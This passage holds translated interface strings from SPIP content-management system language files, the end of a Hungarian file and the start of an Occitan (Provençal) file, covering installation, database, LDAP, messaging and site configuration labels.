dans le cache SPIP. Ez például eröltethet az összes oldal frissítését, ha jelentős módosításokat végzett a honlap grafikáján, vagy szerkezetén.',
'texte_sur_titre' => 'Felső cím',
'texte_table_ok' => ': ez a tábla rendben van.',
'texte_tables_indexation_vides' => 'A motor indexálási táblai üresek.',
'texte_tentative_recuperation' => 'Javítási kisérlet',
'texte_tenter_reparation' => 'Adatbázis javítási kisérlet',
'texte_test_proxy' => 'Ha ezt a proxyt akarja tesztelni, ide jelezze a tesztelni kívánt honlap címét.',
'texte_titre_02' => 'Cím :',
'texte_titre_obligatoire' => '<b>Cím</b> [Kötelező]', # MODIF
'texte_travail_article' => '@nom_auteur_modif@ dolgozott ezen a cikken @date_diff@ perccel ezelőtt',
'texte_travail_collaboratif' => 'Ha gyakori az, hogy több szerző ugyanazon a cikken dolgozik,
akkor a rendszer megjelenítheti a nemrég « megnyilt » cikkeket
az egyidejű módosítások elkerülésére.
Ez az opció nincs aktiválva eleve
a váratlan figyelmeztető üzenetek elkerülésére.
',
'texte_trop_resultats_auteurs' => 'Túl sok találat erre "@cherche_auteur@" ; szükítse a kérésést.',
'texte_unpack' => 'Legújabb verzió letöltése',
'texte_utilisation_moteur_syndiques' => 'Ha az SPIP belső kereső motorját használja
, kétféle módon lehet keresni a szindikált cikkekben, illetve honlapokon.
<br />Az egyszerűbb korlátózodik a cikkek címeire és rövid ismertetőire.
<br />
Egy erőteljesebb módszer lehetővé teszi,
hogy az SPIP a felvett honlapok szövegein belül is keres . Ha valamilyen honlapot vesz fel,
akkor SPIP fogja végezni a keresést a honlap saját szövegében.', # MODIF
'texte_utilisation_moteur_syndiques_2' => 'Ez a módszer kényszeríti az SPIP rendszeres látógatásokra a felvett honlapokon,
ami enyhe lassítást okozhat az Ön honlapján.',
'texte_vide' => 'üres',
'texte_vider_cache' => 'A cache ürítése',
'titre_admin_effacer' => 'Műszaki karbantartás',
'titre_admin_tech' => 'Műszaki karbantartás',
'titre_admin_vider' => 'Műszaki karbantartás',
'titre_cadre_afficher_article' => 'Cikkek megjelenítése',
'titre_cadre_afficher_traductions' => 'A fordítások állápotának megjelenítése a következő nyelvekről :',
'titre_cadre_ajouter_auteur' => 'ÚJ SZERZŐ :',
'titre_cadre_interieur_rubrique' => 'A rovaton belül',
'titre_cadre_numero_auteur' => 'SZERZŐ SZÁMA',
'titre_cadre_signature_obligatoire' => '<b>Aláírás</b> [Kötelező]<br />', # MODIF
'titre_config_fonctions' => 'A honlap konfigurálása',
'titre_configuration' => 'A honlap konfigurálása',
'titre_connexion_ldap' => 'Opciók : <b>Az Ön LDAP csatlakozás</b>',
'titre_groupe_mots' => 'SZÓCSOPORT :',
'titre_langue_article' => 'A CIKK NYELVE', # MODIF
'titre_langue_rubrique' => 'A ROVAT NYELVE', # MODIF
'titre_langue_trad_article' => 'A CIKK NYELVE ÉS FORDÍTÁSAI',
'titre_les_articles' => 'CIKKEK',
'titre_naviguer_dans_le_site' => 'Böngészni a honlapon...',
'titre_nouvelle_rubrique' => 'Új rovat',
'titre_numero_rubrique' => 'ROVAT SZÁMA :',
'titre_page_admin_effacer' => 'Műszaki karbantartás : adatbázis törlése',
'titre_page_articles_edit' => 'Módosítás : @titre@',
'titre_page_articles_page' => 'A cikkek',
'titre_page_articles_tous' => 'Az egész honlap',
'titre_page_auteurs' => 'Vendégek',
'titre_page_calendrier' => 'Naptár @annee@ @nom_mois@',
'titre_page_config_contenu' => 'A honlap konfigurálása',
'titre_page_config_fonctions' => 'A honlap konfigurálása',
'titre_page_configuration' => 'A honlap konfigurálása',
'titre_page_controle_petition' => 'Aláírásgyűjtések megfigyelése',
'titre_page_delete_all' => 'Teljes és visszavonhatatlan törlés',
'titre_page_documents_liste' => 'A rovatok dokumentumai',
'titre_page_index' => 'Az Ön privát része',
'titre_page_message_edit' => 'Üzenet szerkesztése',
'titre_page_messagerie' => 'Az Ön levelezése',
'titre_page_recherche' => 'A @recherche@ alapú keresés eredménye',
'titre_page_statistiques_referers' => 'Statisztikák (bejövő linkek)',
'titre_page_upgrade' => 'SPIP frissítése',
'titre_publication_articles_post_dates' => 'Utólagosan dátumozott cikkek publikálása',
'titre_referencer_site' => 'Honlap felvétele :',
'titre_rendez_vous' => 'TALÁLKOZÓ :',
'titre_reparation' => 'Javítás',
'titre_suivi_petition' => 'Aláírásgyűjtések megfigyelése',
'trad_article_inexistant' => 'Nincs ilyen sorszámú cikk.',
'trad_article_traduction' => 'A cikk összes változatai :',
'trad_deja_traduit' => 'Ez a cikk már egy fordítás a jelen cikkről.', # MODIF
'trad_delier' => 'Visszavenni a cikk csatolását ezekre a fordításokra', # MODIF
'trad_lier' => 'Ez a cikk egy fordítás erről a cikkről :',
'trad_new' => 'Írni egy újabb fordítást erről a cikkről', # MODIF
// U
'utf8_convert_attendez' => 'Várjon egy kicsit, majd töltse újra az oldalt.',
'utf8_convert_avertissement' => 'Most az adatbázis tartalmát (cikkek, hírek, stb.) készül konvertálni az eredeti <b>@orig@</b> karaktertáblából a <b>@charset@</b> karaktertábla felé.',
'utf8_convert_backup' => 'Ne felejtse először teljesen megmenteni a honlapját. Azt is ellenőrizze, hogy a szkiptjei és a nyelvi fájlok is @charset@ kompatibilis. Egyébként a módosítások követése, ha aktivált, károsodni fog.', # MODIF
'utf8_convert_erreur_deja' => 'A honlapja használja már a @charset@ karaktertáblát, szóval felesleges konvertálni...',
'utf8_convert_erreur_orig' => 'Hiba : a @charset@ karaktertábla nincs támogatva.',
'utf8_convert_termine' => 'Befejeződött !',
'utf8_convert_timeout' => 'Fontos :</b> szerver <i>időtúllépése</i> esetén töltse újra az oldalt addig, amíg nem írja ki, hogy "befejeződött".',
'utf8_convert_verifier' => 'Most ürítse a cache-t, és ellenőrizze, hogy minden rendben van a publikus lapokon. Nagyobb problema esetére egy adatmentés (SQL formátumban) megtörtént a @rep@ n. mappában.',
'utf8_convertir_votre_site' => 'utf-8 karaktertáblába konvertálodjon a honlapja',
// V
'version' => 'Verzió :'
);
?>
ecrire_oc_prv.php 0000666 00000150604 15252547432 0010121 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=oc_prv
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'Activar l’ajuston',
'aide_non_disponible' => 'Aquela part de l’ajuda en linha es pas encara disponibla per aquesta lenga.',
'auteur' => 'Autor :',
'avis_acces_interdit' => 'Accès proïbit.',
'avis_article_modifie' => 'Atencion, @nom_auteur_modif@ a trabalhat sus aquel article fa @date_diff@ minutas',
'avis_aucun_resultat' => 'Ges de resultat.',
'avis_chemin_invalide_1' => 'Lo camin qu’avètz chausit',
'avis_chemin_invalide_2' => 'sembla pas valid. Vougatz tornar a la pagina anteriora per verificar leis informacions fornidas.',
'avis_connexion_echec_1' => 'La connexion au servidor SQL s’es encalada.', # MODIF
'avis_connexion_echec_2' => 'Tornatz a la pagina anteriora, e verificatz leis informacions qu’avètz fornidas.',
'avis_connexion_echec_3' => '<b>N.B.</b> Sus fòrça servidors, devètz <b>demandar</b> qu’activen vòstre accès a la basa SQL avans de la poder utilizar. Se vos podètz pas connectar, verificatz qu’agatz ben realizat aqueu procediment.', # MODIF
'avis_connexion_ldap_echec_1' => 'La connexion au servidor LDAP s’es encalada.',
'avis_connexion_ldap_echec_2' => 'Tornatz a la pagina anteriora, e verificatz leis informacions qu’avètz fornidas. ',
'avis_connexion_ldap_echec_3' => 'Alternativament, utilizetz pas lo supòrt LDAP per importar d’utilizaires.',
'avis_deplacement_rubrique' => 'Atention! Aquela rubrica conten @contient_breves@ brèvas@scb@: se la desplaçatz, voudretz ben oscar aquela casa de confirmacion.',
'avis_destinataire_obligatoire' => 'Devètz indicar un destinatari avans de mandar aqueu messatge.',
'avis_erreur_connexion_mysql' => 'Error de connexion SQL',
'avis_erreur_version_archive' => '<b>Atencion! Lo fichier @archive@ correspònd a una autra version d’SPIP que la qu’avètz installada.</b> Anatz devèrs de dificultats grandassas: risca de destruccion de vòstra basa de donadas, disfoncionaments divèrs dau sit, etc. Validetz pas aquela demanda d’importacion.<p> Per mai d’informacions, vejatz
<a href="@spipnet@">
la documentacion d’SPIP</a>.', # MODIF
'avis_espace_interdit' => '<b>Espaci proïbit</b><p>SPIP es ja installat.',
'avis_lecture_noms_bases_1' => 'Lo programa d’installacion a pas pogut legir lei noms dei basas de donadas installadas.',
'avis_lecture_noms_bases_2' => 'Siá ges de basa es disponibla, siá la foncion que permet d’entierar lei basas es estada desactivada per de rasons de seguretat (aquò’s lo cas en cò de mai d’un aubergador).',
'avis_lecture_noms_bases_3' => 'Dins la segonda alternativa, es probable qu’una basa que pòrta vòstre nom de login siá utilizabla:',
'avis_non_acces_message' => 'Podètz pas accedir a aqueu messatge.',
'avis_non_acces_page' => 'Podètz pas accedir a aquela pagina.',
'avis_operation_echec' => 'L’operacion s’es encalada.',
'avis_probleme_archive' => 'Problèma de lectura dau fichier @archive@',
'avis_suppression_base' => 'ATENCION, suprimir lei donadas es irreversible',
'avis_version_mysql' => 'Vòstra version de SQL (@version_mysql@) permet pas l’autoreparacion dei taulas de la basa.',
// B
'bouton_acces_ldap' => 'Apondre l’accès a LDAP >>',
'bouton_ajouter' => 'Apondre',
'bouton_ajouter_participant' => 'APONDRE UN PARTICIPANT:',
'bouton_annonce' => 'ANONCI',
'bouton_checkbox_envoi_message' => 'possibilitat de mandar un messatge',
'bouton_checkbox_indiquer_site' => 'indicar obligatoriament un sit web',
'bouton_checkbox_signature_unique_email' => 'ren qu’una signatura per adreiça e-mail',
'bouton_checkbox_signature_unique_site' => 'ren qu’una signatura per sit web',
'bouton_demande_publication' => 'Demandar la publicacion d’aquest article',
'bouton_desactive_tout' => 'Desactivar tot',
'bouton_effacer_index' => 'Escafar leis indèx',
'bouton_effacer_tout' => 'O escafar tot',
'bouton_envoi_message_02' => 'MANDAR UN MESSATGE',
'bouton_envoyer_message' => 'Messatge definitiu: mandar',
'bouton_modifier' => 'Modificar',
'bouton_pense_bete' => 'MEMENTO (D’USATGE PERSONAU)',
'bouton_radio_activer_messagerie' => 'Activar la messatjariá intèrna',
'bouton_radio_activer_messagerie_interne' => 'Activar la messatjariá intèrna',
'bouton_radio_activer_petition' => 'Activar la peticion',
'bouton_radio_afficher' => 'Afichar',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Afichar dins la tiera dei redactors connectats',
'bouton_radio_desactiver_messagerie' => 'Desactivar la messatjariá',
'bouton_radio_envoi_annonces_adresse' => 'Mandar leis anoncis a l’adreiça:',
'bouton_radio_envoi_liste_nouveautes' => 'Mandar la tiera dei novetats',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Pas aparéisser dins la tiera dei redactors',
'bouton_radio_non_envoi_annonces_editoriales' => 'Pas mandar d’anoncis editoriaus',
'bouton_radio_pas_petition' => 'Ges de peticion',
'bouton_radio_petition_activee' => 'Peticion activada',
'bouton_radio_supprimer_petition' => 'Suprimir la peticion',
'bouton_redirection' => 'TORNAR DIRIGIR',
'bouton_relancer_installation' => 'Tornar lançar l’installacion',
'bouton_suivant' => 'Seguent',
'bouton_tenter_recuperation' => 'Assajar de reparar',
'bouton_test_proxy' => 'Assajar lo proxy',
'bouton_vider_cache' => 'Vujar l’escondedor',
'bouton_voir_message' => 'Veire aqueu messatge avans de lo validar',
// C
'cache_mode_compresse' => 'Lei fichiers de l’escondedor son registrats en mòde comprimit.',
'cache_mode_non_compresse' => 'Lei fichiers de l’escondedor son registrats en mòde non comprimit.',
'cache_modifiable_webmestre' => 'Lo webmèstre dau sit pòt modificar aquestei paramètres.',
'calendrier_synchro' => 'S’utilizatz un logiciau d’agenda compatible <b>iCal</b>, lo podètz sincronizar amb leis informacions d’aquest sit.',
// D
'date_mot_heures' => 'oras',
// E
'email' => 'e-mail',
'email_2' => 'e-mail:',
'entree_adresse_annuaire' => 'Adreiça de l’annuari',
'entree_adresse_email' => 'Vòstra adreiça e-mail',
'entree_base_donnee_1' => 'Adreiça de la basa de donadas',
'entree_base_donnee_2' => '(Sovent, aquela adreiça correspònd a la dau vòstre sit, de còps correspònd a la mençon "localhost", de còps, se laissa vueja completament.)',
'entree_biographie' => 'Biografia corta, en quauquei mots.',
'entree_chemin_acces' => '<b>Intrar</b> lo camin d’accès:',
'entree_cle_pgp' => 'Vòstra clau PGP',
'entree_contenu_rubrique' => '(Contengut de la rubrica en quauquei mots.)',
'entree_identifiants_connexion' => 'Vòstreis identificants de connexion...',
'entree_informations_connexion_ldap' => 'Vougatz intrar dins aqueu formulari leis informacions de connexion au vòstre annuari LDAP.
L’administrator dau sistèma o de la ret vos deu poder fornir
aqueleis informacions.',
'entree_infos_perso' => 'Quau siatz?',
'entree_interieur_rubrique' => 'Dintre la rubrica:',
'entree_liens_sites' => '<b>Liame ipertèxt</b> (referéncia, sit de vesitar...)',
'entree_login' => 'Lo vòstre login',
'entree_login_connexion_1' => 'Lo login de connexion',
'entree_login_connexion_2' => '(Correspònd de còps au vòstre login d’accès a l’FTP; de còps se laissa vuege)',
'entree_login_ldap' => 'Login LDAP iniciau',
'entree_mot_passe' => 'Vòstre mot de santa Clara',
'entree_mot_passe_1' => 'Mot de santa Clara per la connexion',
'entree_mot_passe_2' => '(Correspònd de còps a vòstre mot de santa Clara per l’FTP; de còps se laissa vuege)',
'entree_nom_fichier' => 'Vougatz intrar lo nom dau fichier @texte_compresse@:',
'entree_nom_pseudo' => 'Vòstre nom o vòstre pseudonim',
'entree_nom_pseudo_1' => '(Vòstre nom o vòstre pseudonim)',
'entree_nom_site' => 'Lo nom dau vòstre sit',
'entree_nouveau_passe' => 'Mot de santa Clara novèu',
'entree_passe_ldap' => 'Mot de santa Clara',
'entree_port_annuaire' => 'Lo numèro de pòrt de l’annuari',
'entree_signature' => 'Signatura',
'entree_titre_obligatoire' => '<b>Títol</b> [Obligatòri]<br />',
'entree_url' => 'L’adreiça (URL) dau vòstre sit',
// I
'ical_info1' => 'Aquela pagina mòstra de metòdes diferents per restar en contacte amb la vida d’aqueu sit.',
'ical_info2' => 'Per tenir mai d’informacions subre aquelei tecnicas, esitetz pas de consultar <a href="@spipnet@">la documentacion d’SPIP</a>.', # MODIF
'ical_info_calendrier' => 'I a dos calendiers a la vòstra disposicion. Lo primier es un plan dau sit qu’anóncia totei leis articles publicats. Lo segond conten leis anoncis editoriaus en mai de vòstrei darriers messatges privats: vos es reservat gràcias a una clau personala, que la podètz modificar en tot moment en renovant vòstre mot de santa Clara. ',
'ical_methode_http' => 'Telecargament',
'ical_methode_webcal' => 'Sincronizacion (webcal://)',
'ical_texte_js' => 'Leis articles publicats en aqueu sit se pòdon afichar aisat, dins totei lei sits vòstres, en fasent servir una linha javascript. ',
'ical_texte_prive' => 'Aqueu calendier, d’us estrictament personau, vos informa de l’activitat editoriala privada d’aqueu sit (òbras e rendètz-vos personaus, articles e brèvas prepausats...).',
'ical_texte_public' => 'Aqueu calendier vos permet de seguir l’activitat publica d’aqueu sit (articles e brèvas publicats).',
'ical_texte_rss' => 'Podètz sindicar lei novetats d’aquest sit dins quin legidor de fichiers que siá en format XML/RSS (Rich Site Summary). Es tanben lo format que permet a SPIP de legir lei novetats publicadas dins d’autrei sits en utilizant un format d’escambi compatible (sits sindicats). ',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Lista de corrier',
'ical_titre_rss' => 'Fichiers «backend»',
'icone_activer_cookie' => 'Activar lo cookie de correspondéncia',
'icone_admin_plugin' => 'Gestion deis ajustons',
'icone_afficher_auteurs' => 'Afichar leis autors',
'icone_afficher_visiteurs' => 'Afichar lei vesitaires',
'icone_arret_discussion' => 'Quitar aquela discussion',
'icone_calendrier' => 'Calendier',
'icone_creer_auteur' => 'Crear un autor nòu e l’associar a aquel article',
'icone_creer_mot_cle' => 'Crear un mot clau nòu e lo liar a aquel article',
'icone_creer_rubrique_2' => 'Crear una rubrica nòva',
'icone_envoyer_message' => 'Mandar aqueu messatge',
'icone_modifier_article' => 'Modificar aquel article',
'icone_modifier_message' => 'Modificar aqueu messatge',
'icone_modifier_rubrique' => 'Modificar aquela rubrica',
'icone_retour' => 'Tornar',
'icone_retour_article' => 'Tornar a l’article',
'icone_supprimer_cookie' => 'Suprimir lo cookie de correspondéncia',
'icone_supprimer_rubrique' => 'Suprimir aquela rubrica',
'icone_supprimer_signature' => 'Suprimir aquela signatura',
'icone_valider_signature' => 'Validar aquela signatura',
'image_administrer_rubrique' => 'Podètz administrar aquela rubrica',
'info_1_article' => '1 article',
'info_1_site' => '1 sit',
'info_activer_cookie' => 'Podètz activar un <b>cookie de correspondéncia</b>; aquò vos permetrà de passar aisat dau sit public au sit privat.',
'info_admin_gere_rubriques' => 'Aquel administrator gerís lei rubricas seguentas:',
'info_admin_gere_toutes_rubriques' => 'Aquel administrator gerís <b>totei lei rubricas</b>.', # MODIF
'info_administrateur' => 'Administrator',
'info_administrateur_1' => 'Administrator',
'info_administrateur_2' => 'dau sit(<i>d’utilizar amb precaucion</i>)',
'info_administrateur_site_01' => 'Se siatz administrator/tritz dau sit, vougatz',
'info_administrateur_site_02' => 'clicar aqueu liame',
'info_administrateurs' => 'Administrators',
'info_administrer_rubrique' => 'Podètz administrar aquela rubrica',
'info_adresse' => 'a l’adreiça:',
'info_adresse_url' => 'Adreiça (URL) dau sit public',
'info_afficher_visites' => 'Afichar lei vesitas per:',
'info_aide_en_ligne' => 'Ajuda en linha SPIP',
'info_ajout_image' => 'Quand apondètz d’imatges coma estacaments jonchs a un article, SPIP pòt crear automaticament per vos de vinhetas (miniaturas) deis imatges inserits. Aquò permet per exemple de crear automaticament una galariá o un pòrtfòlio.',
'info_ajout_participant' => 'Lo participant seguent es apondut:',
'info_ajouter_rubrique' => 'Apondre una autra rubrica d’administrar:',
'info_annonce_nouveautes' => 'Anonci dei novetats',
'info_anterieur' => 'anteriora',
'info_article' => 'article',
'info_article_2' => 'articles',
'info_article_a_paraitre' => 'Leis articles pòstdatats per paréisser',
'info_articles_02' => 'articles',
'info_articles_2' => 'Articles',
'info_articles_auteur' => 'Los articles d’aquel autor',
'info_articles_trouves' => 'Articles trobats',
'info_articles_trouves_dans_texte' => 'Articles trobats (dins lo tèxt)',
'info_attente_validation' => 'Vòstreis articles en espèra de validacion',
'info_aujourdhui' => 'uei:',
'info_auteur_message' => 'AUTOR DAU MESSATGE:',
'info_auteurs' => 'Leis autors',
'info_auteurs_par_tri' => 'autors@partri@',
'info_auteurs_trouves' => 'Autors trobats',
'info_authentification_externe' => 'Autentificacion extèrna',
'info_avertissement' => 'Avís',
'info_base_installee' => 'L’estructura de vòstra basa de donadas es installada.',
'info_chapeau' => 'Capèu',
'info_chapeau_2' => 'Capèu:',
'info_chemin_acces_1' => 'Opcions: <b>camin d’accès dins l’annuari</b>',
'info_chemin_acces_2' => 'Ara devètz configurar lo camin d’accès ais informacions dins l’annuari.',
'info_chemin_acces_annuaire' => 'Opcions: <b>camin d’accès dins l’annuari',
'info_choix_base' => 'Tresena estapa:',
'info_classement_1' => '<sup>ier</sup> de @liste@',
'info_classement_2' => '<sup>nd</sup> de @liste@',
'info_code_acces' => 'Oblidetz pas vòstrei còdes d’accès pròpris!',
'info_config_suivi' => 'S’aquela adreiça correspònd a una lista de corrier, podètz indicar çai sota l’adreiça ont lei participants au sit se pòdon inscriure. Aquela adreiça pòt èstre una URL (per exemple la pagina d’inscripcion a la lista per lo web), o una adreiça e-mail tenent un subjècte especific (per exemple: <tt>@adresse_suivi@?subject=subscribe</tt>):',
'info_config_suivi_explication' => 'Vos podètz abonar a la lista de difusion d’aquest sit. Alora recebretz per e-mail leis anoncis d’articles e de brèvas que se prepausa a la publicacion.',
'info_confirmer_passe' => 'Confirmar aqueu mot de santa Clara novèu:',
'info_connexion_base' => 'Segonda estapa: <b>Assai de connexion a la basa</b>',
'info_connexion_ldap_ok' => 'La connexion LDAP a capitat.</b><p> Podètz passar a l’estapa seguenta.</p>', # MODIF
'info_connexion_mysql' => 'Primiera estapa: <b>Vòstra connexion SQL</b>',
'info_connexion_ok' => 'La connexion a capitat.',
'info_contact' => 'Contacte',
'info_contenu_articles' => 'Contengut deis articles',
'info_creation_paragraphe' => '(Per crear de paragrafs, basta que laissetz de linhas vuejas.)', # MODIF
'info_creation_rubrique' => 'Avans de poder escriure d’articles,<br /> devètz crear aumens una rubrica.<br />',
'info_creation_tables' => 'Quatrena estapa: <b>Creacion dei taulas de la basa</b>',
'info_creer_base' => '<b>Crear</b> una basa de donadas novèla:',
'info_dans_rubrique' => 'Dins la rubrica:',
'info_date_publication_anterieure' => 'Data anteriora de publicacion:',
'info_date_referencement' => 'DATA DE REFERENCIAMENT D’AQUEU SIT:',
'info_derniere_etape' => 'Darriera estapa: <b>Es acabat!',
'info_derniers_articles_publies' => 'Vòstrei darriers articles publicats en linha',
'info_desactiver_messagerie_personnelle' => 'Podètz activar o desactivar vòstra messatjariá personala sus aqueu sit.',
'info_descriptif' => 'Descriptiu:',
'info_discussion_cours' => 'Discussions en cors',
'info_ecrire_article' => 'Avans de poder escriure d’articles, vos cau crear aumens una rubrica.',
'info_email_envoi' => 'Adreiça e-mail de mandadís (opcionau)',
'info_email_envoi_txt' => 'Indicatz aicí l’adreiça d’utilizar per enviar leis e-mails (a fauta d’aquò, s’utilizarà l’adreiça destinatari coma adreiça de mandadís):',
'info_email_webmestre' => 'Adreiça e-mail dau responsable dau sit (opcionau)', # MODIF
'info_entrer_code_alphabet' => 'Picatz lo còde de l’alfabet d’utilizar:',
'info_envoi_email_automatique' => 'Mandadís d’e-mails automatics',
'info_envoyer_maintenant' => 'Mandar ara',
'info_etape_suivante' => 'Passar a l’estapa seguenta',
'info_etape_suivante_1' => 'Podètz passar a l’estapa seguenta.',
'info_etape_suivante_2' => 'Podètz passar a l’estapa seguenta.',
'info_exportation_base' => 'exportacion de la basa vèrs @archive@',
'info_facilite_suivi_activite' => 'Per facilitar lo seguit de l’activitat editoriala dau sit, SPIP vos pòt fornir per e-mail, per exemple a una lista de corrier dei redactors, l’anonci dei demandas de publicacion e dei validacions d’articles.',
'info_fichiers_authent' => 'Fichiers d’autentificacion « .htpasswd »',
'info_forums_abo_invites' => 'Vòstre sit web porgís de forums per leis abonats; dins lo sit public lei vesitaires son convidats a se registrar.',
'info_gauche_admin_effacer' => '<b>A aquela pagina, ren que lei responsables dau sit i pòdon accedir.</b><p> Permet de trobar lei diferentei foncions de mantenença tecnica. D’unei que i a implican un procès d’autentificacion especific, que necessita un accès FTP au sit web.</p>', # MODIF
'info_gauche_admin_tech' => '<b>A aquela pagina, ren que lei responsables dau sit i pòdon accedir.</b><p> Permet de trobar lei diferentei foncions de mantenença tecnica. D’unei que i a implican un procès d’autentificacion especific, que necessita un accès FTP au sit web.</p>', # MODIF
'info_gauche_admin_vider' => '<b>A aquela pagina, ren que lei responsables dau sit i pòdon accedir.</b><p> Permet de trobar lei diferentei foncions de mantenença tecnica. D’unei que i a implican un procès d’autentificacion especific, que necessita un accès FTP au sit web.</p>', # MODIF
'info_gauche_auteurs' => 'Trobaretz aicí totei leis autors dau sit. La color deis icònas n’indica l’estatut (administrator = verd; redactor = jaune).',
'info_gauche_auteurs_exterieurs' => 'Leis autors exteriors, sens accès au sit, son indicats per una icòna blava; leis autors escafats per un bordilhier.', # MODIF
'info_gauche_messagerie' => 'La messatjariá vos permet d’escambiar de messatges entre redactors, de servar de mementos (per vòstre usatge personau) o d’afichar d’anoncis sus la pagina d’acuelh de l’espaci privat (se siatz administrator/tritz).',
'info_gauche_numero_auteur' => 'AUTOR NUMÈRO',
'info_gauche_statistiques_referers' => 'Aquela pagina presenta la lista dei <i>referidors</i>, valent a dire dei sits que contenon de liames menant vèrs vòstre sit pròpri, mai unicament per ièr e uei: aquela lista s’actualiza cada 24 oras.',
'info_gauche_visiteurs_enregistres' => 'Trobaretz aquí lei vesitaires registrats
dins l’espaci public dau sit (forums amb abonament).',
'info_generation_miniatures_images' => 'Congreacion de miniaturas deis imatges',
'info_gerer_trad' => 'Gerir lei liames de revirada?',
'info_hebergeur_desactiver_envoi_email' => 'D’uneis aubergadors desactivan lo mandadís automatic
d’e-mails dempuei sei servidors. En aqueu cas, lei foncionalitats seguentas
d’SPIP foncionaràn pas.',
'info_hier' => 'ièr:',
'info_historique_activer' => 'Activar lo seguiment dei revisions',
'info_historique_affiche' => 'Afichar aquela version',
'info_historique_comparaison' => 'comparason',
'info_historique_desactiver' => 'Desactivar lo seguiment dei revisions',
'info_historique_texte' => 'Lo seguiment dei revisions permet de servar un istoric de totei lei modificacions que s’es portat au contengut d’un article, e d’afichar lei diferéncias entre lei versions successivas.',
'info_identification_publique' => 'Vòstra identitat publica...',
'info_image_process' => 'Vougatz seleccionar lo melhor metòde de fabricacion dei vinhetas en clicant sus l’imatge correspondent.',
'info_image_process2' => '<b>N.B.</b> <i>Se ges d’imatge apareis, aladonc lo servidor qu’aubèrga vòstre sit l’an pas configurat per utilizar d’aisinas talas. Se desiratz d’utilizar aquelei foncions, contactatz lo responsable tecnic e demandatz leis extensions «GD» o «Imagick».</i>', # MODIF
'info_images_auto' => 'Imatges calculats automaticament',
'info_informations_personnelles' => 'Cinquena estapa: <b>Informacions personalas</b>',
'info_inscription_automatique' => 'Inscripcion automatica de redactors novèus',
'info_jeu_caractere' => 'Jòc de caractèrs dau sit',
'info_jours' => 'jorns',
'info_laisser_champs_vides' => 'laissar aquelei camps vueges)',
'info_langues' => 'Lengas dau sit',
'info_ldap_ok' => 'L’autentificacion LDAP es installada.',
'info_lien_hypertexte' => 'Liame ipertèxt:',
'info_liste_redacteurs_connectes' => 'Tiera dei redactors connectats',
'info_login_existant' => 'Aqueu login ja existís.',
'info_login_trop_court' => 'Login tròp cort.',
'info_maximum' => 'maximum:',
'info_meme_rubrique' => 'Dins la meteissa rubrica',
'info_message' => 'Messatge dau',
'info_message_efface' => 'MESSATGE ESCAFAT',
'info_message_en_redaction' => 'Vòstrei messatges en cors de redaccion',
'info_message_technique' => 'Messatge tecnic:',
'info_messagerie_interne' => 'Messatjariá intèrna',
'info_mise_a_niveau_base' => 'Mesa a nivèu de vòstra basa SQL',
'info_mise_a_niveau_base_2' => '{{Atencion!}} Avètz installada una version
dei fichiers SPIP {anteriora} a la que i aviá
avans sus aquest sit: riscatz de pèrdre vòstra basa de donadas
e vòstre sit foncionarà pus.<br />{{Tornatz installar lei
fichiers d’SPIP.}}',
'info_modifier_rubrique' => 'Modificar la rubrica:',
'info_modifier_titre' => 'Modificar: @titre@',
'info_mon_site_spip' => 'Mon sit SPIP',
'info_mot_sans_groupe' => '(Mots fòra grop...)',
'info_moteur_recherche' => 'Cercador integrat',
'info_moyenne' => 'mejana:',
'info_multi_articles' => 'Activar lo menut de lenga per leis articles?',
'info_multi_cet_article' => 'Lenga d’aquest article:',
'info_multi_langues_choisies' => 'Vougatz seleccionar çai sota lei lengas que son a posita dei redactors de vòstre sit.
Lei lengas ja emplegadas dins vòstre sit (afichadas d’en primier) se pòdon pas desactivar.',
'info_multi_rubriques' => 'Activar lo menut de lenga per lei rubricas?',
'info_multi_secteurs' => '... ren que per lei rubricas a la raiç dau sit?',
'info_nom' => 'Nom',
'info_nom_destinataire' => 'Nom dau destinatari',
'info_nom_site' => 'Nom dau vòstre sit',
'info_nombre_articles' => '@nb_articles@ articles,',
'info_nombre_partcipants' => 'PARTICIPANTS A LA DISCUSSION:',
'info_nombre_rubriques' => '@nb_rubriques@ rubricas,',
'info_nombre_sites' => '@nb_sites@ sits,',
'info_non_deplacer' => 'De pas desplaçar...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP pòt mandar, regularament, l’anonci dei darrierei novetats dau sit
(articles e brèvas publicats recentament).',
'info_non_envoi_liste_nouveautes' => 'Pas mandar la tiera dei novetats',
'info_non_modifiable' => 'se pòt pas modificar',
'info_non_suppression_mot_cle' => 'vòli pas suprimir aqueu mot clau.',
'info_notes' => 'Nòtas',
'info_nouveaux_message' => 'Messatges nòus',
'info_nouvel_article' => 'Article nòu',
'info_nouvelle_traduction' => 'Revirada nòva:',
'info_numero_article' => 'ARTICLE NUMÈRO:',
'info_obligatoire_02' => '[Obligatòri]', # MODIF
'info_option_accepter_visiteurs' => 'Acceptar l’inscripcion dei vesitaires dau sit public',
'info_option_faire_suivre' => 'Faire seguir lei messatges dei forums ais autors deis articles',
'info_option_ne_pas_accepter_visiteurs' => 'Refusar l’inscripcion de vesitaires',
'info_options_avancees' => 'OPCIONS AVANÇADAS',
'info_ortho_activer' => 'Activar lo verificador d’ortografia',
'info_ortho_desactiver' => 'Desactivar lo verificador d’ortografia',
'info_ou' => 'o... ',
'info_page_interdite' => 'Pagina proïbida',
'info_par_nombre_article' => '(per nombre d’articles)',
'info_passe_trop_court' => 'Mot de santa Clara tròp cort.',
'info_passes_identiques' => 'Lei dos mots de santa Clara son pas identics.',
'info_pense_bete_ancien' => 'Vòstrei mementos ancians', # MODIF
'info_plus_cinq_car' => 'mai de 5 caractèrs',
'info_plus_cinq_car_2' => '(mai de 5 caractèrs)',
'info_plus_trois_car' => '(mai de 3 caractèrs)',
'info_popularite' => 'popularitat: @popularite@; vesitas: @visites@',
'info_popularite_4' => 'popularitat: @popularite@; vesitas: @visites@',
'info_post_scriptum' => 'Post-scriptum',
'info_post_scriptum_2' => 'Post-scriptum:',
'info_pour' => 'per',
'info_preview_admin' => 'Solament leis administrators pòdon previsualizar lo sit',
'info_preview_comite' => 'Totei lei redactors pòdon previsualizar lo sit',
'info_preview_desactive' => 'La previsualizacion es dau tot desactivada',
